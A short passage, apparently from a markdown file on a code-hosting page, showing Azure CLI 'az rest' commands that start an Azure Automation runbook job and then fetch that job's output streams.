--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/jobs/$(uuidgen)?api-version=2023-11-01" \
|
||||
--body "{
|
||||
\"properties\": {
|
||||
\"runbook\": { \"name\": \"${NEW_RUNBOOK}\" }
|
||||
}
|
||||
}" --query "name" -o tsv)
|
||||
|
||||
# Check job output streams
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/jobs/${JOB_ID}/streams?api-version=2023-11-01"
|
||||
```
|
||||
|
||||
|
||||
Reference in New Issue
Block a user